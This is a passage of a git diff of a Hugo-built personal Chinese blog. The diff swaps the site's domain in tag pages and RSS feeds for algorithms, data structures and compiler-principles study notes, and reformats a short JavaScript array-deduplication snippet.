+++ "b/tags/\346\261\207\347\274\226/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E6%B1%87%E7%BC%96/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E6%B1%87%E7%BC%96/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E6%B1%87%E7%BC%96/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E6%B1%87%E7%BC%96/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E6%B1%87%E7%BC%96/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E6%B1%87%E7%BC%96/"></head></html>
\ No newline at end of file
diff --git "a/tags/\347\256\227\346\263\225/index.html" "b/tags/\347\256\227\346\263\225/index.html"
index 29df3235..820f2144 100644
--- "a/tags/\347\256\227\346\263\225/index.html"
+++ "b/tags/\347\256\227\346\263\225/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>算法 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E7%AE%97%E6%B3%95/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E7%AE%97%E6%B3%95/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="算法"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E7%AE%97%E6%B3%95/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="算法"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>算法</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>算法学习笔记</h2></header><div class=entry-content><p>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>算法 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E7%AE%97%E6%B3%95/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E7%AE%97%E6%B3%95/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="算法"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/%E7%AE%97%E6%B3%95/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="算法"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>算法</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>算法学习笔记</h2></header><div class=entry-content><p>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
 算法不会被程序语言所限制，也不会一个实现只有一个算法
 常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）
 算法(排序,双指针,查找,分治,动态规划,递归,回溯,贪心,位运算,DFS,BFS)
@@ -13,19 +13,7 @@
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
-if(nums == null || nums.length == 0){
-return 0
-}
-let b = 0
-for(let a=0;a&lt;nums.length;a++){
-if(nums[b]!=nums[a]){
-nums[++b] = nums[a]
-}
-}
-return ++b
-}
-b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上...</p></div><footer class=entry-footer><span title='2021-08-09 20:36:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 算法学习笔记" href=https://xiaochenabc123.github.io/posts/79/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>数据结构与算法学习笔记</h2></header><div class=entry-content><p>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a&lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上...</p></div><footer class=entry-footer><span title='2021-08-09 20:36:00 +0000 UTC'>2021-08-09</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 算法学习笔记" href=https://chenjunlinabc.github.io/posts/79/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>数据结构与算法学习笔记</h2></header><div class=entry-content><p>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
 什么是数据结构？
 数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。
 程序设计 = 数据结构 + 算法
@@ -82,7 +70,7 @@
 分析一个算法的时间复杂度（推导大O阶方法）：
 用常数1取代运行时间中的所有加法常数
 在修改后的运行次数函数中，只保留最高阶项
-如果最高阶项存在且不是1，则去除于这个项相乘的常数...</p></div><footer class=entry-footer><span title='2021-06-29 15:52:00 +0000 UTC'>2021-06-29</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构与算法学习笔记" href=https://xiaochenabc123.github.io/posts/49/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+如果最高阶项存在且不是1，则去除于这个项相乘的常数...</p></div><footer class=entry-footer><span title='2021-06-29 15:52:00 +0000 UTC'>2021-06-29</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 数据结构与算法学习笔记" href=https://chenjunlinabc.github.io/posts/49/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/\347\256\227\346\263\225/index.xml" "b/tags/\347\256\227\346\263\225/index.xml"
index 6ab654e2..e6c7a3ba 100644
--- "a/tags/\347\256\227\346\263\225/index.xml"
+++ "b/tags/\347\256\227\346\263\225/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>算法 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/%E7%AE%97%E6%B3%95/</link>
+    <link>https://chenjunlinabc.github.io/tags/%E7%AE%97%E6%B3%95/</link>
     <description>Recent content in 算法 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Mon, 09 Aug 2021 20:36:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/%E7%AE%97%E6%B3%95/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Mon, 09 Aug 2021 20:36:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/%E7%AE%97%E6%B3%95/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>算法学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/79/</link>
+      <link>https://chenjunlinabc.github.io/posts/79/</link>
       <pubDate>Mon, 09 Aug 2021 20:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/79/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/79/</guid>
       <description>虽然学过java和Python，但是还是JavaScript比较熟练，因此算法学习全部用JavaScript来写
 算法不会被程序语言所限制，也不会一个实现只有一个算法
 常见数据结构（数组，列表，映射，堆栈，队列，哈希表，树，图）
@@ -33,15 +33,15 @@ O(1): Constant Complexity: Constant 常数复杂度 O(log n): Logarithmic Comple
 保证有序数组中的元素是不重复的，也就是说不存在重复的元素
 有序数组中重复的肯定是挨着的，只需要遍历数组全部的元素，前面和后面进行比较，如果相同则删除后面的
 例如：
-let arr = function(nums) {
if(nums == null || nums.length == 0){
return 0
}
let b = 0
for(let a=0;a&amp;lt;nums.length;a++){
if(nums[b]!=nums[a]){
nums[++b] = nums[a]
}
}
return ++b
}
b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上</description>
+let arr = function(nums) { if(nums == null || nums.length == 0){ return 0 } let b = 0 for(let a=0;a&amp;lt;nums.length;a++){ if(nums[b]!=nums[a]){ nums[++b] = nums[a] } } return ++b } b作为覆盖，a作为查询，当b的值不等于a查询到的值时，b++的值等于a的值，等于的时候b不改变，当不相等再等于到b上</description>
     </item>
     
     <item>
       <title>数据结构与算法学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/49/</link>
+      <link>https://chenjunlinabc.github.io/posts/49/</link>
       <pubDate>Tue, 29 Jun 2021 15:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/49/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/49/</guid>
       <description>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
 什么是数据结构？
 数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。
diff --git "a/tags/\347\256\227\346\263\225/page/1/index.html" "b/tags/\347\256\227\346\263\225/page/1/index.html"
index 33d7a4ef..243fd1cf 100644
--- "a/tags/\347\256\227\346\263\225/page/1/index.html"
+++ "b/tags/\347\256\227\346\263\225/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/%E7%AE%97%E6%B3%95/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E7%AE%97%E6%B3%95/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/%E7%AE%97%E6%B3%95/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/%E7%AE%97%E6%B3%95/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E7%AE%97%E6%B3%95/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/%E7%AE%97%E6%B3%95/"></head></html>
\ No newline at end of file
diff --git "a/tags/\347\274\226\350\257\221\345\216\237\347\220\206/index.html" "b/tags/\347\274\226\350\257\221\345\216\237\347\220\206/index.html"
index 12c474e3..eab1790f 100644
--- "a/tags/\347\274\226\350\257\221\345\216\237\347\220\206/index.html"
+++ "b/tags/\347\274\226\350\257\221\345\216\237\347\220\206/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>编译原理 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="编译原理"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="编译原理"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>编译原理</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>编译原理学习笔记</h2></header><div class=entry-content><p>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>编译原理 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/%E7%BC%96%E8%AF%91%E5%8E%9F%E7%90%86/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new 